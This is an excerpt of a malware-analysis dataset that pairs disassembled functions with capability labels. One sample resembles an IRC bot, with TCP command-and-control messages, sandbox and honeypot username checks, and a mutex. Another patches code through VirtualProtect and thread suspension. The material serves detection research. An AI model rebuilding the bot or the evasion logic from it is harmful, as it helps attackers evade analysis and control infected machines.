joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401732
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x4063c0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push eax
call fcn.00402d7e
pop ecx
test eax, eax
jne 0x401755
or eax, 0xffffffff
jmp 0x40179d
push esi
push 2
pop esi
push dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
mov word [ebp - 0x14], si
call dword [sym.imp.WS2_32.dll_htons]
push 6
push 1
push esi
mov word [ebp - 0x12], ax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x401784
push 0xfffffffffffffffe
pop eax
jmp 0x40179c
push 0x10
lea eax, [ebp - 0x14]
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
push 0xfffffffffffffffd
cmp eax, 0xffffffff
pop ecx
cmove esi, ecx
mov eax, esi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040316d
leave
ret

Function at 0x401804
Capabilities:
Receive data
Receive data on socket

Disassembly:
sub esp, 0x804
mov eax, dword [0x4063c0]
xor eax, esp
mov dword [esp + 0x800], eax
push ebx
push ebp
push esi
mov esi, dword [esp + 0x814]
push edi
test esi, esi
je 0x4018b4
mov ebp, 0x800
push ebp
xor edi, edi
lea eax, [esp + 0x14]
push edi
push eax
call sub.VCRUNTIME140.dll_memset
push esi
call fcn.004016d4
mov ebx, eax
add esp, 0x10
test ebx, ebx
jle 0x4018b0
cmp edi, 0x7ff
je 0x40188a
push 0
push 1
lea eax, [esp + 0x18]
add eax, edi
push eax
push esi
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x4018ac
add edi, eax
mov al, byte [esp + edi + 0xf]
cmp al, 0xd
je 0x401886
cmp al, 0xa
je 0x401886
push esi
call fcn.004016d4
mov ebx, eax
pop ecx
test ebx, ebx
jg 0x40184d
test ebx, ebx
jle 0x4018b0
cmp edi, 2
jl 0x401830
dec edi
cmp edi, ebp
jae 0x4018cf
lea eax, [esp + 0x10]
mov byte [esp + edi + 0x10], 0
push eax
push esi
call fcn.00401940
pop ecx
pop ecx
test eax, eax
jns 0x401830
jmp 0x4018b6
xor eax, eax
jmp 0x4018b6
mov eax, ebx
jmp 0x4018b6
mov eax, esi
mov ecx, dword [esp + 0x810]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0040316d
add esp, 0x804
ret
call fcn.0040329d
int3

Function at 0x4018d5
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
push esi
xor esi, esi
cmp byte [eax], 0
je 0x4018f6
push esi
push eax
push esi
push dword [ebp + 8]
call fcn.00401f7b
add esp, 0x10
cmp eax, 0xffffffff
je 0x40193a
push esi
push dword [ebp + 0x10]
push 1
push dword [ebp + 8]
call fcn.00401f7b
add esp, 0x10
cmp eax, 0xffffffff
je 0x40193a
push esi
push dword [ebp + 0x14]
push 2
push dword [ebp + 8]
call fcn.00401f7b
add esp, 0x10
cmp eax, 0xffffffff
je 0x40193a
push esi
push esi
lea ecx, [ebp + 8]
push ecx
push 0x402771
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
xor eax, eax
inc eax
jmp 0x40193d
or eax, 0xffffffff
pop esi
pop ebp
ret
Function at 0x401f7b
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x244
mov eax, dword [0x4063c0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 0x10]
lea eax, [ebp - 0x44]
push edi
mov edi, dword [ebp + 0x14]
push 0x40
push 0
push eax
call sub.VCRUNTIME140.dll_memset
mov eax, dword [ebp + 0xc]
add esp, 0xc
test eax, eax
jne 0x401fcd
push 0x3f
push str.PASS
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
push esi
lea eax, [ebp - 0x44]
push eax
push str._s__s_r_n
jmp 0x4020d0
cmp eax, 1
jne 0x401fdb
push 0x3f
push str.NICK
jmp 0x401fb4
cmp eax, 2
jne 0x402001
push 0x3f
lea eax, [ebp - 0x44]
push str.USER
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
push esi
push esi
lea eax, [ebp - 0x44]
push eax
push str._s__s_____lol__:_s_r_n
jmp 0x402095
cmp eax, 3
jne 0x40200f
push 0x3f
push str.PONG
jmp 0x401fb4
cmp eax, 4
jne 0x402032
push 0x3f
lea eax, [ebp - 0x44]
push str.JOIN
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
push edi
push esi
lea eax, [ebp - 0x44]
push eax
push str._s__s__s_r_n
jmp 0x402095
cmp eax, 5
jne 0x4020b0
cmp dword [0x40702c], 0
jne 0x4020ab
cmp dword [0x407028], 0
je 0x402079
mov ecx, 0x406128
mov eax, edi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x402070
test dl, dl
je 0x40206c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x402070
add eax, 2
add ecx, 2
test dl, dl
jne 0x402050
xor eax, eax
jmp 0x402075
sbb eax, eax
or eax, 1
test eax, eax
je 0x4020ab
push 0x3f
lea eax, [ebp - 0x44]
push str.PRIVMSG
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
push esi
push edi
lea eax, [ebp - 0x44]
push eax
push str._s__s_:_s_r_n
lea eax, [ebp - 0x244]
push 0x1ff
push eax
call fcn.0040156f
add esp, 0x24
jmp 0x4020e4
xor eax, eax
inc eax
jmp 0x40211d
cmp eax, 6
jne 0x40211b
push 0x3f
lea eax, [ebp - 0x44]
push str.QUIT
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
push esi
lea eax, [ebp - 0x44]
push eax
push str._s_:_s_r_n
lea eax, [ebp - 0x244]
push 0x1ff
push eax
call fcn.0040156f
add esp, 0x20
push 0x40
lea eax, [ebp - 0x44]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
lea ecx, [ebp - 0x244]
add esp, 0xc
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4020fd
push 0
sub ecx, edx
lea eax, [ebp - 0x244]
push ecx
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_send]
jmp 0x40211d
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.0040316d
leave
ret

Function at 0x40212b
Capabilities:
Initialize winsock library

Disassembly:
call fcn.0040217b
test eax, eax
jne 0x40213b
push eax
call dword [sym.imp.KERNEL32.dll_ExitThread]
push esi
push str._Mutex_
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
pop ecx
call fcn.00402df5
call fcn.004015d7
call dword [sym.imp.WS2_32.dll_WSACleanup]
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push 0
call dword [sym.imp.KERNEL32.dll_ExitThread]
Function at 0x40217b
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x194
mov eax, dword [0x4063c0]
xor eax, esp
mov dword [esp + 0x190], eax
lea eax, [esp]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov ecx, dword [esp + 0x190]
neg eax
sbb eax, eax
xor ecx, esp
inc eax
call fcn.0040316d
add esp, 0x194
ret

Function at 0x4021b8
Capabilities:
Check for sandbox username or hostname
Get session user name

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x9c
mov eax, dword [0x4063c0]
xor eax, ebp
mov dword [ebp + 0x74], eax
push esi
lea eax, [ebp - 0x10]
mov dword [ebp - 0x24], str.sandbox
push eax
lea eax, [ebp - 0xc]
mov dword [ebp - 0x20], str.honey
push eax
mov dword [ebp - 0x1c], str.vmware
mov dword [ebp - 0x18], str.currentuser
mov dword [ebp - 0x14], str.nepenthes
mov dword [ebp - 0x10], 0x80
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.USER32.dll_CharLowerA]
xor esi, esi
push dword [ebp + esi*4 - 0x24]
lea eax, [ebp - 0xc]
push eax
call sub.VCRUNTIME140.dll_strstr
pop ecx
pop ecx
test eax, eax
jne 0x40222d
inc esi
cmp esi, 5
jb 0x402212
jmp 0x402230
xor eax, eax
inc eax
mov ecx, dword [ebp + 0x74]
xor ecx, ebp
pop esi
call fcn.0040316d
add ebp, 0x78
leave
ret

Function at 0x402240
Capabilities:
Check if file exists
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
call fcn.004021b8
test eax, eax
jne 0x40229f
push 2
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
push 0x190
call dword [sym.imp.KERNEL32.dll_Sleep]
push str._Mutex_
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
test eax, eax
jne 0x40229f
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x40229f
call fcn.004022a5
push 0xea60
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, byte [0x40428b]
mov byte [ebp - 1], al
lea eax, [ebp - 1]
push eax
call fcn.0040212b
xor eax, eax
leave
ret 0x10
Function at 0x402d7e
Capabilities:
Resolve dns

Disassembly:
push dword [esp + 4]
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
jne 0x402da3
push dword [esp + 4]
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x402d9c
ret
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
ret

Function at 0x402e0c
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
xor ecx, ecx
lea eax, [ebp - 4]
push eax
push ecx
push dword [ebp + 0xc]
mov dword [ebp - 4], ecx
push dword [ebp + 8]
push ecx
push ecx
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp dword [ebp + 0x10], 0
mov esi, eax
je 0x402e43
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x402e4b
push 0x1e
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, esi
pop esi
leave
ret
Function at 0x403aee
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x403b2d
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x403b2d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x403b2d
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x403b2d
cmp dword [ecx + 0x74], 0xe
jbe 0x403b2d
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x10002ef1
Capabilities:
Get common file path
Terminate process

Disassembly:
push ebx
xor eax, eax
push eax
push eax
push eax
call fcn.100109b0
mov edx, dword [esp + 0x14]
lea ecx, [esp]
call fcn.1000b000
mov edx, dword [esp]
push edx
call fcn.10010810
pop edx
push eax
push edx
call fcn.10010850
lea eax, [esp + 8]
push eax
call fcn.100108b0
push edx
call fcn.10010810
pop edx
push eax
push edx
call fcn.10010810
pop edx
push eax
push dword [esp + 0xc]
call fcn.1000e18a
call fcn.10010940
lea edx, [0x10014028]
call fcn.1000b0b0
mov ecx, eax
call fcn.1000b0c0
je 0x10002f7d
mov edx, dword [esp + 4]
push edx
call fcn.10010810
pop edx
push eax
push edx
call fcn.10010850
lea edx, str..dll
push edx
call fcn.10010850
lea eax, [esp + 8]
push eax
call fcn.100108b0
cmp dword [esp + 0x18], 0
je 0x10002ff8
push dword [0x100171ac]
lea edx, [0x10014028]
pop ecx
call fcn.1000b0c0
je 0x10002ff8
push edx
call fcn.10010810
pop edx
push eax
push edx
call fcn.10010810
pop edx
push eax
push 0x104
call fcn.1000d220
push 0x100171ac
call fcn.100108b0
push 0x104
mov eax, dword [0x100171ac]
push eax
call sub.KERNEL32.dll_GetSystemDirectoryW
push edx
call fcn.10010810
pop edx
push eax
push edx
call fcn.10010810
pop edx
push eax
lea eax, [0x100143ec]
push eax
push dword [0x100171ac]
call fcn.1000d270
push 0x100171ac
call fcn.100108b0
mov edx, dword [0x100171ac]
push edx
call fcn.10010810
pop edx
push eax
push edx
call fcn.10010850
lea edx, [0x100143ec]
push edx
call fcn.10010850
mov edx, dword [esp + 8]
push edx
call fcn.10010850
lea eax, [esp + 8]
push eax
call fcn.100108b0
push dword [esp + 4]
call sub.KERNEL32.dll_LoadLibraryW
mov dword [esp + 8], eax
mov ebx, dword [esp + 8]
and ebx, ebx
jne 0x100030a0
push edx
call fcn.10010810
pop edx
push eax
push 0x10
lea eax, str.PurePortable
push eax
push edx
call fcn.10010810
pop edx
push eax
lea edx, str.Failed_load_original_dll_n
push edx
call fcn.10010850
mov edx, dword [esp + 0x10]
push edx
call fcn.10010850
call fcn.10010940
push 0
call fcn.1000b112
add dword [esp + 4], edx
call sub.USER32.dll_MessageBoxW
call fcn.1000b130
push 0
call sub.KERNEL32.dll_GetCurrentProcess
push eax
call sub.KERNEL32.dll_TerminateProcess
mov eax, dword [esp + 8]
jmp 0x100030a8
push dword [esp + 4]
call fcn.10010a10
push dword [esp]
call fcn.10010a10
add esp, 0xc
pop ebx
ret 8
Function at 0x10005cc0
Capabilities:
Check if file exists

Disassembly:
xor eax, eax
push eax
call fcn.100109b0
mov edx, dword [esp + 8]
lea ecx, [esp]
call fcn.1000b000
mov eax, dword [esp]
push eax
call sub.SHLWAPI.dll_PathFileExistsW
jmp 0x10005ce1
push dword [esp]
call fcn.10010a10
add esp, 4
ret 4

Function at 0x10008d17
Capabilities:
Terminate process

Disassembly:
xor eax, eax
push eax
push eax
push eax
call fcn.100109b0
push edx
call fcn.10010810
pop edx
push eax
push edx
call fcn.10010810
pop edx
push eax
push dword [esp + 0x18]
call fcn.100106a0
call fcn.10010940
lea eax, [esp + 4]
push eax
call fcn.100108b0
push 1
push dword [esp + 4]
call fcn.10002ef1
mov dword [esp + 4], eax
push dword [esp + 0x14]
push dword [esp + 8]
call sub.KERNEL32.dll_GetProcAddress
mov dword [esp + 8], eax
cmp dword [esp + 8], 0
je 0x10008d77
xor eax, eax
jmp 0x10008d7c
mov eax, 1
and eax, eax
je 0x10008dfb
push edx
call fcn.10010810
pop edx
push eax
push 0x10
lea eax, str.PurePortable
push eax
push edx
call fcn.10010810
pop edx
push eax
lea edx, str.Error_init_proxy_function
push edx
call fcn.10010850
push edx
call fcn.10010810
pop edx
push eax
push edx
call fcn.10010810
pop edx
push eax
push 0x18
push 0xffffffff
push dword [esp + 0x34]
call fcn.10010580
pop eax
call fcn.10010940
push 0
call fcn.1000b112
add dword [esp + 4], edx
call sub.USER32.dll_MessageBoxW
call fcn.1000b130
push 0
call sub.KERNEL32.dll_GetCurrentProcess
push eax
call sub.KERNEL32.dll_TerminateProcess
jmp 0x10008e03
mov eax, dword [esp + 8]
jmp 0x10008e03
push dword [esp]
call fcn.10010a10
add esp, 0xc
ret 8
Function at 0x10009e20
Capabilities:
Get common file path

Disassembly:
xor eax, eax
push eax
call fcn.100109b0
mov eax, dword [0x10017004]
mov dword [0x10017258], eax
push edx
call fcn.10010810
pop edx
push eax
push edx
call fcn.10010810
pop edx
push eax
push 0x7fff
call fcn.1000d220
lea eax, [esp + 4]
push eax
call fcn.100108b0
push 0x7fff
mov eax, dword [esp + 4]
push eax
push 0
call sub.KERNEL32.dll_GetModuleFileNameW
push edx
call fcn.10010810
pop edx
push eax
push edx
call fcn.10010810
pop edx
push eax
mov eax, dword [esp + 8]
push eax
call fcn.100106a0
push 0x10017344
call fcn.100108b0
push edx
call fcn.10010810
pop edx
push eax
push edx
call fcn.10010810
pop edx
push eax
push dword [0x10017344]
call fcn.1000e4e2
push 0x10017454
call fcn.100108b0
push edx
call fcn.10010810
pop edx
push eax
push edx
call fcn.10010810
pop edx
push eax
lea eax, [0x100143ec]
push eax
push dword [0x10017454]
call fcn.1000d270
push 0x100171d0
call fcn.100108b0
push edx
call fcn.10010810
pop edx
push eax
push edx
call fcn.10010810
pop edx
push eax
push 1
push dword [0x10017344]
call fcn.1000e561
push 0x1001743c
call fcn.100108b0
push 0x7fff
mov eax, dword [esp + 4]
push eax
push dword [0x10017258]
call sub.KERNEL32.dll_GetModuleFileNameW
push edx
call fcn.10010810
pop edx
push eax
push edx
call fcn.10010810
pop edx
push eax
mov eax, dword [esp + 8]
push eax
call fcn.100106a0
push 0x10017028
call fcn.100108b0
push edx
call fcn.10010810
pop edx
push eax
push edx
call fcn.10010810
pop edx
push eax
push dword [0x10017028]
call fcn.1000e4e2
push 0x100172c0
call fcn.100108b0
push edx
call fcn.10010810
pop edx
push eax
push edx
call fcn.10010810
pop edx
push eax
lea eax, [0x100143ec]
push eax
push dword [0x100172c0]
call fcn.1000d270
push 0x10017374
call fcn.100108b0
push edx
call fcn.10010810
pop edx
push eax
push edx
call fcn.10010810
pop edx
push eax
push 1
push dword [0x10017028]
call fcn.1000e561
push 0x10017134
call fcn.100108b0
push 0x7fff
mov eax, dword [esp + 4]
push eax
call sub.KERNEL32.dll_GetWindowsDirectoryW
push edx
call fcn.10010810
pop edx
push eax
push edx
call fcn.10010810
pop edx
push eax
lea eax, [0x100143ec]
push eax
push dword [esp + 0xc]
call fcn.1000d270
push 0x100172e4
call fcn.100108b0
push 0x7fff
mov eax, dword [esp + 4]
push eax
call sub.KERNEL32.dll_GetSystemDirectoryW
push edx
call fcn.10010810
pop edx
push eax
push edx
call fcn.10010810
pop edx
push eax
lea eax, [0x100143ec]
push eax
push dword [esp + 0xc]
call fcn.1000d270
push 0x100171ac
call fcn.100108b0
mov eax, dword [esp]
push eax
push 0x7fff
call sub.KERNEL32.dll_GetTempPathW
push edx
call fcn.10010810
pop edx
push eax
push edx
call fcn.10010810
pop edx
push eax
lea eax, [0x100143ec]
push eax
push dword [esp + 0xc]
call fcn.1000d270
push 0x100172d8
call fcn.100108b0
xor eax, eax
push dword [esp]
call fcn.10010a10
add esp, 4
ret
Function at 0x1000b440
Capabilities:
Enumerate threads
Suspend thread

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x4c
mov ebx, eax
mov dword [esp + 0x18], edx
mov dword [esp + 0x1c], ecx
mov dword [eax], 0
mov dword [eax + 4], 0
mov dword [eax + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 4
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
sub esp, 8
cmp eax, 0xffffffff
je 0x1000b5de
mov esi, eax
mov dword [esp + 0x24], 0x1c
lea eax, [esp + 0x24]
mov dword [esp + 4], eax
mov dword [esp], esi
call sub.KERNEL32.dll_Thread32First
sub esp, 8
test eax, eax
je 0x1000b626
mov ebp, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
jmp 0x1000b519
mov dword [ebx + 4], pe_nt_image_headers32
mov dword [esp + 8], 0x200
mov dword [esp + 4], 0
mov eax, dword [0x100177a0]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
sub esp, 0xc
mov dword [ebx], eax
test eax, eax
je 0x1000b5fd
mov edx, dword [ebx]
mov eax, dword [ebx + 8]
lea ecx, [eax + 1]
mov dword [ebx + 8], ecx
mov ecx, dword [esp + 0x2c]
mov dword [edx + eax*4], ecx
mov dword [esp + 0x24], 0x1c
lea eax, [esp + 0x24]
mov dword [esp + 4], eax
mov dword [esp], esi
call sub.KERNEL32.dll_Thread32Next
sub esp, 8
test eax, eax
je 0x1000b5f2
cmp dword [esp + 0x24], 0xf
jbe 0x1000b4f6
mov edi, dword [esp + 0x30]
call ebp
cmp edi, eax
jne 0x1000b4f6
mov edi, dword [esp + 0x2c]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp edi, eax
je 0x1000b4f6
mov edx, dword [ebx]
test edx, edx
je 0x1000b4b2
mov eax, dword [ebx + 4]
cmp dword [ebx + 8], eax
jb 0x1000b4e4
lea ecx, [eax + eax]
mov dword [ebx + 4], ecx
shl eax, 3
mov dword [esp + 0xc], eax
mov dword [esp + 8], edx
mov dword [esp + 4], 0
mov eax, dword [0x100177a0]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
sub esp, 0x10
test eax, eax
je 0x1000b5fd
mov dword [ebx], eax
jmp 0x1000b4e4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_SuspendThread]
sub esp, 4
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x18]
mov eax, edi
call fcn.1000b2b6
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
add esi, 1
cmp dword [ebx + 8], esi
jbe 0x1000b5d7
mov eax, dword [ebx]
mov eax, dword [eax + esi*4]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x5a
call ebp
sub esp, 0xc
mov edi, eax
test eax, eax
jne 0x1000b583
jmp 0x1000b5aa
mov eax, 0
jmp 0x1000b5e3
mov eax, 9
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, 0
jmp 0x1000b5e3
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
je 0x1000b639
mov eax, dword [ebx]
test eax, eax
je 0x1000b626
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [0x100177a0]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
sub esp, 0xc
mov dword [ebx], 0
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov eax, 9
jmp 0x1000b5e3
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
cmp dword [ebx], 0
je 0x1000b660
cmp dword [ebx + 8], 0
je 0x1000b5eb
mov esi, 0
mov ebp, dword [sym.imp.KERNEL32.dll_OpenThread]
jmp 0x1000b5b2
mov eax, 0
jmp 0x1000b5e3
Function at 0x1000b66a
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x2c
mov edi, edx
imul eax, eax, 0x2c
add eax, dword [0x100177e0]
mov ebx, eax
mov esi, dword [eax]
mov ebp, 5
test byte [eax + 0x14], 1
je 0x1000b693
sub esi, 5
mov ebp, 7
lea eax, [esp + 0x1c]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x40
mov dword [esp + 4], ebp
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
mov edx, 0xa
test eax, eax
je 0x1000b733
test edi, edi
je 0x1000b73d
mov byte [esi], 0xe9
lea eax, [esi + 5]
mov ecx, dword [ebx + 4]
sub ecx, eax
mov dword [esi + 1], ecx
test byte [ebx + 0x14], 1
je 0x1000b6dd
mov eax, dword [ebx]
mov byte [eax], 0xeb
mov byte [eax + 1], 0xf9
lea eax, [esp + 0x1c]
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x1c]
mov dword [esp + 8], eax
mov dword [esp + 4], ebp
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [esp + 8], ebp
mov dword [esp + 4], esi
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
sub esp, 0xc
and edi, 1
lea edx, [edi + edi]
movzx eax, byte [ebx + 0x14]
and eax, 0xfffffff9
shl edi, 2
or eax, edx
or eax, edi
mov byte [ebx + 0x14], al
mov edx, 0
mov eax, edx
add esp, 0x2c
pop ebx
pop esi
pop edi
pop ebp
ret
test byte [ebx + 0x14], 1
je 0x1000b759
mov edx, dword [ebx + 0xc]
mov dword [esi], edx
movzx edx, word [ebx + 0x10]
mov word [esi + 4], dx
movzx eax, byte [ebx + 0x12]
mov byte [esi + 6], al
jmp 0x1000b6dd
mov eax, dword [ebx + 0xc]
mov dword [esi], eax
movzx eax, byte [ebx + 0x10]
mov byte [esi + 4], al
jmp 0x1000b6dd

Function at 0x1000b76a
Capabilities:
Resume thread

Disassembly:
cmp dword [eax], 0
je 0x1000b7fb
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov edi, eax
cmp dword [eax + 8], 0
je 0x1000b7d4
mov ebx, 0
mov ebp, dword [sym.imp.KERNEL32.dll_OpenThread]
jmp 0x1000b7af
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
sub esp, 4
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
add ebx, 1
cmp dword [edi + 8], ebx
jbe 0x1000b7d4
mov eax, dword [edi]
mov eax, dword [eax + ebx*4]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x5a
call ebp
sub esp, 0xc
mov esi, eax
test eax, eax
jne 0x1000b78f
jmp 0x1000b7a7
mov eax, dword [edi]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [0x100177a0]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
sub esp, 0xc
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret
ret
Function at 0x1000cfbf
Capabilities:
Allocate thread local storage
Get thread local storage value
Set thread local storage value

Disassembly:
cmp dword [0x1001755c], 0
push ebx
push esi
mov esi, 0x10017564
jne 0x1000cfeb
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
push esi
mov dword [0x1001757c], eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov dword [0x1001755c], 1
push dword [0x1001757c]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ebx, eax
test ebx, ebx
jne 0x1000d088
push 0x14
push 8
push dword [0x10017000]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
test ebx, ebx
je 0x1000d0b2
push esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [0x10017560]
test eax, eax
je 0x1000d02d
mov dword [eax], ebx
push edi
push esi
mov dword [ebx + 4], eax
mov dword [0x10017560], ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea edi, [ebx + 0x10]
push 0
push 0
push 0x100000
push edi
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call esi
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
push 8
push 0xffffffffffffffff
push ebx
push 0x1000d0b7
push dword [edi]
lea eax, [ebx + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_RegisterWaitForSingleObject]
push ebx
push dword [0x1001757c]
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
pop edi
push 0xc
push 0
push dword [0x10017000]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x1000d0b2
mov ecx, dword [esp + 0xc]
mov dword [eax + 4], ecx
mov ecx, dword [esp + 0x10]
mov dword [eax + 8], ecx
mov ecx, dword [ebx + 8]
mov dword [eax], ecx
mov dword [ebx + 8], eax
pop esi
pop ebx
ret 8